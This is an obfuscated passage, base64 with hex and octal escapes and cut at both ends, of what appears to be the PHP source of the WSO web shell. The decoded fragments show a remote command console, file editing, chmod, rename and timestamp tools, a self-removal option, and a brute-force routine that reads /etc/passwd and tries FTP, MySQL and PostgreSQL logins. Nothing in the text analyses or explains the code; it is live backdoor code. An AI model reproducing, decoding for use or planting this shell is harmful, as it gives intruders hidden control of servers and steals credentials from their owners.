160bG\x55oJF9Q\1241N\x55W\x79d\x77\115S\x64dL\110Ryd\127U\x70Owo\112CQkJZW\116o\x62yB\x7a\144\110JfcmVwbG\106j\x5aShh\x63nJ\150\145SgnPHNw\131W\064g\x4a\171w\x6ePC9zcGFu\x50icpLCBhcnJ\x68eSgnPGZv\x62nQgJywnPC9mb25\x30\120icpLC\x52jb2\122l\x4b\x534nP\x439ka\130Y+Jzs\113CQkJfQo\x4aCQl\x69c\155Vha\172sKCQlj\x59XNlICdj\x61G1\166ZC\1436C\147kJCWlmKCA\150Z\1271\167dHko\x4aF9QT1NUWydwMyd\x64KSApIHsKCQk\x4aCS\122wZX\x4atcy\1019\x49DA\067CgkJCQ\154mb3Io\x4aG\1539c3RybG\126uKCRfUE9TVFsncDMnXSktMTskaT4\x39MDstLSRp\113Q\157JCQk\112CSRwZ\x58Jtc\x79A\x72PSAoaW50KSR\146UE9T\126Fsn\x63DMnXVska\126\060q\143G93\x4bDg\x73IChzd\x48Js\132\x574o\x4aF9QT\061NU\127yd\167MyddKS0kaS0\170\113Sk7CgkJC\121lpZighQGNobW9kKCRfUE9T\x56FsncDEnX\x53wgJ\x48Blc\1551\172K\123kKCQkJC\121\x6clY2hvIC\144DY\x575cJ3Q\x67c2V0I\110Bl\x63m1p\x633Npb25z\x49Txi\x63j4\070c2\x4eyaXB0PmRvY3\126tZW50L\x6d1mL\x6eAzLnZhbHV\x6cPS\x49\x69Ozw\x76c2Ny\x61\x58\x420Pic7\x43g\x6bJCX0KCQk\x4a\1312xl\131XJzdGF\x30Y2\106\152\x61GUoKTs\x4bCQkJZ\x57NobyAnP\110Njcmlwd\1045w\x4d18\x39IiI7\120C9zY3Jp\143H\121\x2bPG\132vcm0\x67b\0625zdWJtaXQ9Imcob\156Vs\x62Cx\165dW\x78sLFwnJyAuIHVybGVu\x59\0629\153ZS\147kX1BPU\061Rb\x4a3A\170J1\x30pIC\x34\147\1121wnLG51bG\x77sdGh\x70cy5jaG1\166ZC52Y\x57\x781\x5a\x53\1537cmV0dXJ\x75IGZhb\x48NlOyI\053\120GlucHV0I\110R5\143GU\x39\x64\x47V4dCBuYW1lPWNobW9kIH\132hbHVlPSInLnN1\131\156N0c\x69h\x7acHJpbnRmKCclbyc\x73\111GZpbGVwZXJtc\x79gkX1B\120U1RbJ3AxJ10p\x4bSw\164N\103k\165JyI+PGlucHV0\111HR5cGU\071c3VibWl0IHZhbHVl\120SI+P\151I+PC9m\1423JtPic7CgkJC\127JyZWFrOwoJCWN\150\x63\x32U\x67J2VkaXQnOg\x6f\x4aCQlpZig\x67IW\x6c\172X3\x64y\x61XRhYmx\154K\x43Rf\x55E9TVFsncDEnX\x53kp\x49HsKCQkJC\127VjaG8\147J0ZpbGUgaXNu\130C\x640I\110d\171aX\122lYWJsZSc7Cgk\112C\x51\x6cicm\126h\141zsKCQk\x4afQoJCQlpZig\147\111WVt\143\110\x525KCRfUE9\x54VF\x73ncDMnXSkgKSB\067Cgk\112\103\x51kkd\107ltZSA9I\105Bma\x57xlb\x58RpbW\125\x6fJF9Q\1241N\x55Wydw\x4d\x53dd\113TsKCQk\112CSRfUE9\124VFsncDMnXSA\x39IHN1\131nN\x30ci\147kX1\x42P\1251\122bJ3A\x7aJ\x31\060\x73M\x53k7Cg\x6bJCQk\x6b\132nAgPSB\101Zm9wZW4oJF\071QT1NUWydwMSddL\x43\x4a3\x49ik7Cg\x6bJCQlpZ\x69gkZn\x41pIHsKCQkJCQl\101ZndyaX\x52lK\x43RmcC\167kX1BPU1Rb\1123AzJ10pOwoJ\103\121k\112CU\102mY2xvc\x32U\157J\x47Z\167KTs\113CQkJCQ\x6c\x6c\x59\062hvIC\x64T\131\x58\x5al\132CE8Y\x6e\x49+PH\x4ejcmlwd\x44\x35wM189Ii\x497\x50\x439zY3J\160cHQ+J\172sKCQkJ\103QlAdG9\061Y2goJF9\x51T1N\x55W\171dwMSdd\114\103R0\141W1lLCR0aW\x31l\113T\163KCQkJCX\060KC\x51k\x4afQoJCQl\154Y2h\x76ICc8Zm9ybSB\x76\142nN1Ym\x31pdD0iZ\x79hud\127xsL\x47\0651bGwsXCcnIC4gdXJs\x5aW5jb2R\x6cKC\x52fUE9TV\106\x73nc\104\105nXSkgLiA\x6eX\x43csb\x6eVsbC\170cJzFcJyt0aG\x6czLnRleHQ\x75dmFsdWUpO3JldHVybi\102m\x59WxzZ\124\163iPjx0\x5aXh0Y\130JlY\x53BuYW1l\120XRl\x65HQgY2xhc3M9Ymln\x59XJlYT4n\x4fwoJ\x43Q\x6bk\132nAgPSBA\132\x6d9w\x5aW\x34oJF9\x51T1N\125W\171dwM\123dd\114CAncicpOwoJCQlpZig\x6b\132\x6e\101pIHsKCQkJCXd\x6faWxlKCAhQGZlb2YoJGZwK\123\x41p\103gkJCQkJZ\127No\x62y\102odG\061sc3BlY\062l\150bGNoYXJz\113E\102mcmV\150\132Cgk\132nAsI\x44EwM\x6aQ\x70K\x54sKCQkJCUBmY2\170v\x632U\x6fJ\x47Z\167KTsKCQkJfQoJC\x51llY2hvICc\070L3RleHRhc\155\126hPjxpbnB1dCB0\145XBlPXN1\131\1551p\x64CB\062\x59Wx1ZT0\151P\1524iPjw\x76Z\x6d9ybT4n\x4f\167oJCQ\154icm\x56ha\172sKCQljY\x58NlI\x43do\x5aX\x68\x6bd\x571wJzoKCQ\153\x4aJG\115\x67PSBA\132mls\x5a\126\x39\156\x5aXRfY\x329udG\126udHMoJF\x39QT1N\x55Wyd\x77MSd\144KTsKCQkJ\x4aG4gPSAwO\x77oJCQkkaCA9IGFycmF5KCcw\x4dDAwMDAwMD\170\151\143j4nLCcnL\103cnKTsKC\x51k\x4aJGxl\x62iA9IHN0cmxlb\151gkYy\1537CgkJCWZvciAo\x4aG\1539\115Dsg\112Gk8JGxlbj\x73gKys\x6baSkgewoJCQ\x6bJJ\x47hbMV0gLj0gc3By\141W\x350Zi\x67n\112TAyW\x43csb3JkKCR\x6a\x57yRpXSkp\x4ci\x63gJzsKC\121\153\x4aC\x58N3aXRja\103AoIG\x39yZCgkY1skaV0\x70ICkge\167\x6fJCQkJ\x43W\x4ehc\062Ug\115Dog\111CRoW\172JdIC49ICc\x67JzsgYnJl\x59Ws7C\147kJCQkJY2FzZ\x53\101\x35\x4fiA\147JG\150bM\1540gLj0gJ\171A\x6eO\x79\x42icmVh\x61zs\113CQkJCQljYXN\x6cID\x45w\117iAkaFsyXSAuPS\101\x6e\x49C\1437IGJyZW\x46rOw\157\112\103QkJ\x43WNhc2Ug\x4dTM\x36ICRo\x57zJdIC4\x39ICcg\x4a\172sgYnJlYWs\x37CgkJC\x51kJZGVmYXVs\x64DogJGh\x62Ml0\x67L\x6a\060gJGNbJ\x47ld\117\171Bi\x63mVhazsKCQkJCX0\113\103QkJCSRu\113y\x737\x43\147kJCQlp\x5ai\101oJ\1074gP\x540gM\x7aIpIHsK\103Q\153JCQkkbiA9IDA7C\x67\x6bJCQkJ\141W\x59\147K\x43R\160KzEg\x50CAkbGVuKSB7JGhbMF0gLj0gc3ByaW5\x30Z\151gnJTA4W\x43csJGkrMSku\x4a\172x\151cj4nO30KCQkJ\x43Q\153kaFsxXSAuPSAnPGJ\171Pic7\103gkJCQkJJGh\142Ml\x30\147\114j\060gIlxu\x49jsKCQkJ\103\x580KCQk\147CX0KCQ\x6bJZWN\x6f\x62yAn\120HRhYmxlIGNlbGxz\x63GFjaW5\156PTEgY\062VsbHBh\132\107\x52pbm\x63\071NSBiZ\x32NvbG9yPSM\171M\152IyMjI+PHRy\x50j\1700ZCBiZ2\116v\142G9yPSMzMzMzMz\115\053\120HN\167YW4gc3\1225bGU9I\x6d\x5avbnQ\x74d2V\160Z2h0\x4f\x69Bub3\112tYWw\x37\111j48cHJlPicuJ\107hb\x4d\1060\x75Jz\x77\166c\110Jl\x50\152wvc3Bhbj48L\x33RkPjx0ZC\102iZ2NvbG9\x79\120\123MyODI\064Mjg+PHByZT\x34n\114iRoWzFdLic8\x4c\x33\102\x79ZT48L\063Rk\120jx0ZCB\151\1322NvbG\x39yP\x53MzMzMzMzM+P\x48B\x79ZT\064nLmh0bWxzcGVj\141W\106sY2hhcn\115oJ\x47hbMl\x30p\x4cic8L3ByZT4\070L\063RkPj\x77vdHI+\x50C90YWJsZ\x544nO\x77oJCQlicmVh\x61zsKCQlj\131\130NlICdyZW5hb\127\x55nOg\157JCQ\154pZiggIWVtc\x48R5\113CRfUE9TVFsncDMnXSkgKSB\x37CgkJCQlpZighQHJlbm\106tZS\x67kX1B\x50U1\122\142J3AxJ10sIC\122\x66UE9TVF\163n\143DMnX\123kpCg\x6bJC\121\153JZWN\x6fbyAn\121\x32\x46u\130Cd0IHJlbmFtZ\123E8Y\x6e\111+\112zsKCQkJCWVsc2\x55\x4b\x43QkJ\x43\x51lk\141WU\157\x4azxzY3J\x70c\110Q+ZyhudWx\163\x4cG51\x62Gws\x49\x69cud\130Js\132\x57\065\x6ab2Rl\113C\x52fUE9\x54VFsn\143\104\x4d\156XSku\112\x79I\x73bnVsbC\x77iIik8L3Nj\x63m\x6cw\144D4n\113Ts\x4bCQkJ\146QoJCQllY2h\x76ICc\x38Zm9ybSBvb\x6eN\x31Ym\061pdD0iZ\171\x68udWxsL\10751bGwsXC\x63\156IC4gd\130JsZW5j\x622RlKCRfUE\x39T\126\106sncDEnXSkg\x4ciAnXCc\x73\142nVsbC\x780\x61GlzLm5hbWUudm\106sdWUpO3JldH\126y\x62iBmYW\x78zZTsi\x50jx\x70bnB\x31dCB0\145XBlP\x58\122l\145HQgbmF\x74Z\1241uYW1lIH\x5ahb\110VlPSInLm\x68\x30bWxzcG\126jaWFsY\x32hh\143\156M\x6fJF\071QT1NUWydwMSd\x64KS\x34nIj48aW5w\144XQgdHlw\132T\061zdWJtaXQ\147d\155Fs\x64W\1259\111j4+Ij48\x4c2Zvcm0+Jzs\x4bC\121kJYnJlYWs7C\147kJY2FzZSA\x6e\x64G9\061Y2gnOgoJCQlpZiggIWVtcHR5\113CRfU\1059\124VFsncDMnX\x53\153gKSB7Cg\x6bJCQkk\x64GltZ\x53A\071IH\x4e0c\x6e\x52vdGlt\132\123gkX1BPU1RbJ\063\101z\x4a10pOw\x6fJCQ\x6bJaWYo\x4aHRpb\127UpIHsKCQkJ\x43QlpZ\151\x67hd\x479\061\1312go\112F9QT1NUWydwMSddLCR0aW1lLCR0aW1\154KSkKCQkJCQkJ\132W\x4eo\x62y\101nRmF\160\142CEnOw\157JCQkJCWV\x73c2\125KCQk\112CQkJZWN\157\x62yA\x6eVG9\x31Y2hlZ\x43E\x6eOwo\112\x43QkJfS\x42lbHNlIGVjaG8g\x4a0JhZCB0\x61W\x31l\111GZvcm1hdC\x45n\117wo\x4aCQl9C\x67k\x4aCWNsZWFy\1433Rh\144GNhY2hlK\103k\067Cgk\x4aCWVjaG8gJ\172xzY3JpcHQ+\x63DNfPSIiOzwvc2NyaXB0Pj\170\155b3Jt\111G\071uc\x33V\151bWl0PSJnKG51bGwsbn\126s\142Cxc\x4aycgLiB1cmx\154bm\116vZG\125o\x4aF9Q\x541NUWydwMS\x64dKSAu\111\x43dcJ\x79\170udWxsLHRoa\x58\115\165dG91Y2gudmFsdW\125pO\x33JldHVybiBmYWxzZTsi\x50\x6a\170pbnB1d\x43B\060eX\x42lPXRleHQgbmFtZT\0610\x623VjaCB\062Y\127x1ZT0i\112y5\153YX\x52lKCJZLW0\164ZCBIOmk6\143yI\x73I\105Bm\x61Wx\x6cbXRpbWUoJF\071QT1N\x55\x57y\x64w\x4dSddKSkuJyI\x2bPGlucHV0IHR5cGU9c3VibWl0\111HZhbHVlP\123\x49\x2bPiI+PC9\155b3Jt\120ic7\103gkJ\103WJyZWFr\x4fw\x6fJ\146Qo\x4aZWN\157byAnPC9kaXY\053JzsK\x43Xd\172b0Zv\1423Rlcigp\117wp9Cg\x70m\144W\065jd\x47lvbiBh\1313Rp\14225\104\142\0625zb\x32x\x6cKCkgewogI\103AgaWYoIWVtcHR5KCRfU\x45\x39TV\x46sncDE\x6eXS\153g\x4aiYgIWV\164cH\x525KCRfUE9T\x56F\163ncDInX\123\153pIHs\113IC\101\x67ICAgI\x43\x42\130U\x309zZXRjb29r\141WUobWQ1KCRfU0VSVkVSWydIVF\x52\121X0hPU\061\x51\x6eXSkuJ3N0ZGVycl\0710b19vdXQn\x4cCB0c\156Vl\113T\163KICAgIC\x41gIC\x41kX1B\x50U1RbJ3Ax\11210gL\1520gJyAy\x50i\131xJ\172sKICAgIH\060g\132WxzZ\x57l\x6dKC\106lb\130\x420eS\147kX1B\x50U1RbJ3Ax\11210\160\x4bQog\x49C\101gICAgIFdTT\063N\154\144GNvb2tpZ\123htZDUoJF9TR\126J\127R\x56J\142J0\x68UVFBfSE9T\126C\x64\144KS4nc\063RkZXJ\171\x583RvX291dCcs\x49D\101pOwo\x4bCWlmK\107\154zc\062V0K\103RfUE9TV\x46sn\x59Wph\x65CddKS\x6b\147ewoJCVdTT3\x4e\x6cd\x47Nvb\x32\164pZSht\x5aDUo\x4a\x469TR\x56JWRVJb\x4a0hUVFB\x66SE\x39TVCdd\113S4\x6eY\x57pheCc\x73IHRydWUp\117w\157JCW\071iX3N\x30\131XJ0KCk7Cgk\112ZWNoby\x41iZC5jZi5jbWQu\x64mF\x73dWU9Jyc7XG4\x69Owo\x4a\103\x53R0Z\1271wID0\x67Q\107ljb252\x4bCRf\125E9TVF\163nY2hhc\x6eN\154dC\x64dLC\101nVV\x52GLTgn\114CBhZG\x52\152c2xhc2hlcygi\130G4k\111CI\x75\x4aF9QT1\116U\127ydwMSd\144L\x69Jcbi\x49ud3NvR\130goJF9\121T\x31NUWy\144wMS\144dKSwiX\1075\x63cl\x780XFw\x6eX\104\101iKSk7\103gkJaWYo\143HJlZ19t\x59XRjaC\147iI\x534\161Y2Rc\x63y\x73o\x571\x34\067XSspJC\105iLCRfUE9\x54VF\163n\x63DEnX\123\x77kb\x57F0Y2gpKQl7C\147kJCWlmKEBjaGRpcigkbWF0\1312hbMV0p\x4bSB7CgkJCQkkR0\170\x50Q\x6bFMU1snY3dkJ1\060gPSBA\1322\x56\x30Y3dkKCk7Cgk\112\103QllY2hvIC\x4ajXz0n\111i4kR0xPQkFMU\061snY3\144k\112\x310uIic\x37IjsKCQkJfQoJCX0KCQ\x6cl\1312hv\x49\x43Jk\114m\116m\x4cm91dHB1d\x435\062\131Wx1\x5aSs9JyIu\112HRl\x62XAuIic7\x49jsKCQllY2hvICJkLmN\x6dLm91d\x48B1\x64C\x35zY3Jvb\107x\125b3AgPS\102k\114m\116mLm91dHB1dC5zY3J\x76b\107x\111ZWlnaHQ7\x49jsKCQkkdGVtcCA9IG\x39iX2\x64l\144F9\152bGV\x68bigpOwo\112\x43WVjaG\x38gc3RybGVuKC\x520ZW1wKSw\147IlxuI\151wgJH\x52\154bXA7Cgk\x4aZXh\160dD\163\x4bCX0KICAgIGlm\113G\126tcHR5\113CR\146U\1059TVFs\x6eYWpheCddKS\131mIW\126tcHR5\113\103RfU\1059TVFsnc\104E\x6eXSkpCg\153JV1NPc2V\060Y29va\062\x6clK\1071kNSgk\1301NFU\154ZFUlsn\x53\x46RUU\1069\111\1241\x4eUJ\0610pLid\x68amF4J\x79wgMCk\067\x43gl3c29IZWFkZXIoKTs\113ICAgI\107VjaG8gIjxzY3JpcHQ\053CmlmKHdpbmRvd\1715Fdm\126ud\x43kg\1442\x6cuZG\071\063LmNh\x63HR1\x63mVFdmVudHM\157\122XZlbnQ\165\1230\x56ZRE9\x58Tik7Cn\x5ahciBjbWRzID0\147bmV\x33IEF\x79\x63mF5KCc\156KTsKdmFyIGN1ciA9I\x44A7CmZ1bmN0a\x579uIGtwKG\x55pIHsKCXZhciBuID\x30gKHdpbmR\x76\144\171\x35FdmVudCkgPyBlLndoaWNo\111DogZS\065rZXlDb2RlOwoJaWYobiA\071PSAzO\103kgewoJC\x57N1ci0\x74Owo\x4aCW\x6cmKGN1cj49MC\x6bKCQk\112ZG9j\144W1lbnQuY\062YuY2\x31k\x4cnZhbH\126lID0gY21k\143\x31tjdX\x4adOwoJCWVsc2UKC\x51kJY3Vy\113y\163\067\x43gl9I\x47Vsc2UgaWYo\x62iA\x39\x50SA0MC\153gewoJ\103\x57N\061c\x69srOw\x6f\x4aCWl\x6dKGN1ciA8\x49GNtZHMubGVuZ\063RoKQoJCQl\153\142\062N1bWVudC5jZi\065jbWQudmFsdWUgPSBjbWRz\x572N1cl07CgkJZ\127x\x7aZQoJCQl\152dX\x49tLTsKCX0KfQpmdW5j\x64Glvb\x69BhZG\x51o\131\0621kK\123\1027\x43\x67\154jbWRz\x4c\x6eB\166c\x43gpO\x77oJY21kcy5wdX\116oKGNtZ\x43k7Cgljb\127RzLnB1c2goJycpO\167oJ\x59\063VyID0g\x592\061k\143y5sZW5ndG\147tMTs\113fQ\1578L\063NjcmlwdD4\x69Ow\157\112\x5aWNob\171AnP\x47\x67xPkNvbn\x4e\x76b\107U8L2gx\x50\x6axkaX\x59\147Y2\x78\150c3M9Y29ud\107\126udD48Zm\071\171bSBuYW1l\x50WNmIG9uc\x33Vib\x57l\060P\123J\160ZihkLmN\x6dLmNt\x5a\x4352YWx1ZT0\x39\130CdjbGVh\x63l\167\x6eKXtkLmNmLm9\061d\x48B\061\x64\1035\062YWx1ZT1c\x4a1w\x6e\x4f2QuY2YuY21kLnZhbHVl\x50VwnXC\x63\067c\x6d\1260dXJ\165IGZ\x68\142HNlO31hZGQodG\x68\x70cy5jbWQud\155F\x73dWUpO2lmKHRoaXMuYWph\145\103\065jaGVj\x61\x32VkKXth\x4bG51b\107w\x73bn\126\163\142Cx0\x61Gl\x7a\x4cmNtZC52YWx1ZSx0aGlzL\x6eNob3dfZX\x4ay\x623JzL\x6dN\x6f\x5a\127NrZWQ\x2f\x4d\124\160cJ1wnKTt9\132W\x78zZXtn\x4bG51bGwsbn\126\163\x62\x43\170\060aGlzLm\x4e\x74ZC52\131\x57x1ZSx0\x61G\154zL\156Nob3dfZXJyb3J\172\x4cmNoZ\127NrZWQ\057M\124pcJ1w\156\113T\x749IHJld\x48\126yb\151\102\x6dYWx\172ZTs\x69PjxzZWxl\x593Qgbm\106t\132\x541\x68b\107lhc\x7a\064nOwoJZm9\x79Z\x57FjaCgkR0xPQkFM\x551snYWx\160YXN\x6ccy\144\x64IGFzI\x43R\165ID\060+I\103R\x32KSB7Cgk\x4aaW\x59oJHYgPT0gJycpIHs\x4bCQkJ\x5aWNobyAnPG\x39wdGd\171b\x33\x56w\x49\107xh\x59mVsPSI\164J\1715odG1s\x63\x33BlY2lhbGN\x6fYXJz\113\x43R\165K\1234nL\123I\x2b\120C\x39vcHR\156cm91c\x444n\x4fwoJC\121\x6cjb25\x30\141W5\x31ZTsKCQl9Cgk\x4aZWNobyAnPG9w\x64\x47l\x76\x62iB\x32YWx1ZT0iJ\1715odG\x31sc3B\154\1312lhbGNoYXJzKCR2K\x534nIj4nLiR\x75\x4c\151\1438L29wdGlvbj4nO\167o\x4afQoJCgl\x6c\1312hvICc\x38L3\116\x6cbG\126jdD48aW5wdX\121g\x64HlwZT\061\x69\144X\x520b2\x34gb2\065jbGljaz0i\131W\122kK\107\x51uY2Y\165\x59Wx\x70YX\115ud\x6dFs\144\127UpO2lmKGQuY2YuYWpheC\x35jaGVj\x612VkKXthKG5\x31\x62Gw\163b\156VsbCx\x6b\114m\x4e\155LmFs\141\127FzLnZhbHVlLG\121uY2Y\165c2h\166d19l\x63\x6eJvcn\x4duY2hlY\x32tlZD8\170Ol\167nXCcpO\063\061lbHNle2co\142nVsbCxudWxsLGQ\165\x592Y\x75\x59\127xpYXMud\155\x46sdW\x55sZ\x435jZ\1515zaG\x393\1302Vycm9ycy5jaGVja2VkPzE6XC\144cJy\x6b7fSIgdmF\x73dWU9\111j4\x2bIj4gPG5vYnI+PGlucHV\x30IH\1225cGU9\x592hlY2tib3\x67gbm\106tZT1h\141mF4I\110Z\x68\142\110VlPTEgJ\171\064oQC\x52f\x5109PS0lFW2\x31kNSgkX1N\x46UlZFU\154sn\123FRUUF9IT1NUJ\x310pLidhamF4J10\057J2No\132WNrZWQn\117icn\113S4nPi\102zZW\x35k\x49HVzaW5nIEFKQVg\147\x50G\x6c\165\143HV0I\x48R\065\143G\1259Y2hlY2t\x69b3g\147bmFtZT1z\141G9\x33X\062Vycm9\171cy\x422\131Wx1ZT0xICcuKCFlbXB\x30eS\147kX1\102PU\x31Rb\1123A\x79J10pf\110wkX0NPT\060tJRVttZ\104\x55oJF9TRVJWRVJbJ0hUV\106BfSE9\x54VCd\x64KS4n\x633Rk\x5aXJyX3R\166X\06291dCdd\120yd\x6a\141\107Vja2V\153J\172\157nJykuJz4gcmVkaXJ\x6c\131\063Qgc3RkZX\112\x79IHRvIHN0ZG91dCAoM\x6a4mMSk8L25vYnI+PGJyL\x7a48dGV4dGFyZWEgY\x32xh\1433M\071Ym\154n\131XJlYSBuYW1lPW\x39\x31dHB1\x64CBzdHl\x73ZT0iYm\x39yZG\x56yL\x57\x4av\x64HRvbTo\167O21h\143mdpbjow\117yI\147cmVhZ\107\x39ubHk+JzsKCWl\155KC\106l\x62XB0e\123gkX1\102P\1251Rb\x4a3A\x78J10pK\123B7CgkJZ\x57Nob\x79BodG\061s\x633BlY\062lhbGNoYX\x4azK\x43I\x6bICI\165JF9\x51T1NUWy\144w\x4d\x53ddLiJcbiIud3NvRXgoJF9\x51T1NUWydwM\123ddKSk7Cgl\x39Cgl\154Y2h\x76\111Cc8\1143Rl\145HRhcmVhP\152x0YWJ\163Z\123Bzd\x48lsZT0iY\1559yZG\x56\171OjFweCBzb2xpZ\103AjZ\x47Y1\117\x32JhY\062\164\x6ecm91bmQt\13129\x73b3I\066\111zU1\116Ttib3JkZXI\x74d\1079wOjBw\x65Ds\x69IGNlbGxwYWRkaW5nPTAgY\x32V\x73bHN\x77YW\x4epbmc\x39M\103B3aWR0\x61D0\151MTA\x77JSI+PHRy\120jx0Z\103\1023aWR0\x61D\060i\115SUi\120iQ\070L3\122kPjx\060Z\1044\x38a\x575w\x64XQg\144HlwZ\12410ZX\1500IG\065\150bW\125\071\x5921kIHN0eWxlPS\x4ai\142\x33J\x6bZX\1116MHB4O\x33d\x70ZH\x52oOjEwMC\x557Ii\102vbmtl\x65\127Rvd24\071Imtw\113GV\x32ZW5\060KT\163iPj\x77vd\x47\121+PC9\x30cj\x348L3RhYm\170\x6cPic7Cgl\154Y2\x68\166I\x43c\x38L\x32Zvcm0+\120C\071\153aX\131\x2bP\110NjcmlwdD\065k\114m\116mLm\x4e\x74ZC5mb2N1cygpO\x7awvc2NyaXB0P\151c7Cgl3c29G\142\06290\x5aXIo\x4bT\163K\x66\x51\157K\132nV\x75Y3Rpb24gYWN0aW9uTG9nb\063V0KCkgew\x6fgI\x43A\147\x632\x56\x30Y29v\x612llK\x471kNS\147\153X1\x4eF\125lZ\106Ul\163\x6eSF\x52UUF\x39\111T1N\x55J\x31\x30\x70LCAnJyw\x67d\x47lt\132SgpIC0gMzYwMCk7\x43glka\x57\125oJ2J\065ZS\x45\156\x4bTs\113fQ\157K\132n\126uY3R\x70b24gYWN\060aW9uU\x32Vs\x5alJ\x6cbW92ZSgpIHsKCglpZig\153X1BPU1RbJ3AxJ10gPT0gJ3llcy\x63\x70\103gk\112aWYoQ\110VubG\x6cu\141yhwc\x6dVnX3JlcG\170hY2UoJyF\143KFxkK1wpXHM\x75K\151En\114\103AnJ\x79wgX19G\123\125xFX1\070\x70KSk\x4bCQkJZ\x47\x6clK\103dT\141GVsbCBo\x59XMgYmVlbi\102yZW1v\144mVk\112yk\x37C\147kJZWxz\132QoJCQllY2h\166IC\x641\142mxpbmsgZXJyb3I\150JzsK\111CA\147IGlm\x4bCRfUE9TVFs\156cDEn\130\123A\x68PSAneWVzJykKI\x43A\147ICA\147I\103B3c29IZWFkZXIoKTsK\x43WV\152aG8gJzxoMT5TdWljaWRlP\x439o\x4dT48\132\x47l2\x49G\116\163YX\116zPWNvbnR\x6cbnQ+UmVhbG\1705I\110dhbnQgdG\x38gcm\126t\1423Zl\x49HR\157ZSBzaGVsbD88\131\x6eI+\120\x47\105g\x61HJlZj0\x6aIG9uY2x\x70Y2s9Im\x63o\142nVsbCxudWxsLFwn\x65\x57VzXC\x63pIj5ZZX\x4d8L2\x45+P\1039kaXY+JzsKCXdz\1420\x5avb3Rl\143igpOwp9CgpmdW5jdGlv\142iB\150Y3Rpb25C\143nV\060ZWZ\x76cm\x4elKCkgewoJd\063NvSGVhZGVyK\103k7\x43glpZ\151gg\x61XNzZXQo\112F9QT1N\125Wydwcm90by\144\144K\x53A\160I\x48sK\x43\x51l\x6cY2h\x76I\103c8aD\105+UmVz\144Wx0czwvaDE\x2bPGR\160\x64iBjbGF\x7a\x63z1j\142250Z\x5750Pj\x78zcGFuPlR5cGU\066PC9zcGFuPiAnLmh0bWxzcGV\152aWFsY2hhc\156Mo\112F9QT1NUWydwcm\0710byd\x64KS4nID\x78zcGFu\x50l\116lcnZ\154cjo8L\063N\x77YW4+I\x43cuaHRtbHN\167Z\x57NpYW\x78jaGFy\x63\x79gkX1BP\x55\061\122bJ3NlcnZl\x63i\x64dKS\x34\156PGJy\x50ic7Cgk\x4aaWYoICRf\125E9TVFsn\143HJvdG\070nX\x53\x419PSAnZnRwJyA\160IHsK\x43QkJZnV\165Y3Rpb24\x67d3NvQnJ1dGVGb3\112jZS\x67kaX\101sJHBvc\156Qs\x4aGxvZ2lu\114\x43R\x77YX\x4ezKSB7Cg\153\x4aCQkkZ\x6eA\147PS\x42AZnRwX\062Nvb\x6d5lY3Qo\x4aGlw\x4cCA\x6bcG9\x79dD8kc\x479ydDoy\115\123\x6b7C\x67kJC\x51lpZ\x69ghJG\x5aw\x4bS\x42yZ\x58R\x31\143m4\x67Z\x6d\106sc2U\x37Cg\153J\x43QkkcmVzID0gQGZ0cF9s\x622dpbi\147kZnA\163ICR\x73b2dpbiwgJH\102h\1433MpOwoJCQ\x6bJQGZ0cF\071jbG9zZSgkZnApOwoJCQkJ\x63mV0dXJuIC\122y\132XM7\x43gkJCX0KC\121\1549I\107Vsc2VpZiggJF9QT1N\125Wy\144w\x63m90byddID09ICdteX\x4exbCcgKSB7CgkJCWZ1b\x6dN\x30\141W9uIHdzb0Jy\144XR\x6c\x52m9yY2\125oJGl\167LC\122wb3J0LCRs\1422\144p\x62iwkcG\x46zc\x79kge\167oJ\103\121k\112\112HJlc\171A9IE\102\164eXNx\142F9jb25\x75\132WN0KCRpc\103\064\156OicuKCRwb\063\1120Py\122wb3J0OjMzM\x44YpL\x43\x41kb\1079\156aW4s\x49CRwYXNzKT\x73K\x43QkJCUBteXNxbF9jbG9zZS\x67kc\155VzKTsKC\x51k\112CXJl\x64H\x56ybiAkcm\126\x7aOwoJCQl9\x43gkJfSB\154bH\x4el\x61WY\x6f\111CRf\x55E9TV\x46sncHJvdG8nX\x53\x41\x39PSAncGdzc\127wnICkge\x77\x6f\x4a\x43Q\x6cmdW5jdGl\x76b\151B3c2\x39\x43cnV0\x5aUZvcmN\x6cKC\x52\160cCw\153cG9yd\x43wkbG9naW\x34sJHBhc3M\160\x49\110sKCQkJ\103SRzd\110IgPSAiaG9zdD\x30\156Ii4k\x61XAuI\151cgc\x479ydD0\x6e\111\x694kcG9ydC4iJy\1021c2V\x79PS\143\x69LiRsb2d\x70bi4iJy\x42w\x59XNzd29yZD0nIi4\x6bcGFz\143\1714iJyBkYm5hbWU9cG9z\144GdyZXMi\117woJ\103Qk\x4aJHJlcyA9\x49\105BwZ19jb25u\x5aW\1160KCRzdHIp\x4fwo\112CQ\x6bJQHB\x6e\x582Nsb3N\x6cKCRyZXMp\117woJCQ\153JcmV\x30dXJuICR\171ZXM7\103g\x6bJCX0K\x43Q\x6c9Cgk\112JHN1Y2\116lc3Mg\120SAwOwoJ\x43SR\x68dHR\x6cbXB0cyA9IDA7CgkJJHN\154cnZl\x63i\1019IGV\x34c\107xvZGUoIjoiL\103AkX1BPU1RbJ\x33Nl\x63n\x5al\x63iddKTsK\103Q\x6cpZigkX1BPU1RbJ\x33R5cGUnXSA\071PSAxK\123B7CgkJC\x53R0\x5aW1wID0gQ\x47Z\x70bGU\157J\1719ldGMvc\x47Fzc\063dk\x4ayk7C\147kJ\103WlmKCBpc1\071hcnJhe\x53\x67kdG\x56\164cCk\147K\121oJCQk\x4aZ\1559y\132WFja\103gkdG\126\x74cCBhc\171\101kbGluZ\123\153g\x65woJCQ\153JCSRsaW5lID0gZXh\167\x62G9\x6bZSgiOiI\163\111CRs\x61W5\x6cKTsKCQkJCQkrKy\122hdH\122lb\130B0\x63zs\113CQkJCQ\154\160Zig\147d3NvQnJ1dGVGb3Jj\132\x53hAJH\116lcnZ\x6ccl\x73wXSxAJH\116\154cnZ\154c\154sxXSwgJGx\x70bmVbMF0sI\103RsaW5lWz\102dKSApIHsKCQk\x4aCQk\112\112\x48N1\x592Nlc\x33MrKzsKCQkJCQkJZWNo\142yAnPGI+Jy5odG1s\143\x33BlY2lhbGN\157YXJzK\x43Rs\141W5l\127\172BdKS4nPC9\x69P\x6aonL\155h0bWxzcGV\x6aa\x57\106sY\062hhcnMo\x4aGx\160bmVbM\1060pLic8\x59\x6e\111\053JzsKCQkJCQl9C\x67kJCQk\112aWYoQ\103\x52fU\x459TVFs\156cmV2Z\130JzZSddKSB7Cg\x6bJCQkJ\x43SR\060bXAgP\x53AiIj\x73K\x43QkJ\x43QkJ\132m\x39\171KCRpPX\x4e0c\x6dx\154b\x69gkbGluZVswXSk\164MT\163gJGk+P\x54A7IC\060\x74JGkpCgkJCQk\112CQ\x6bkd\107\x31wI\1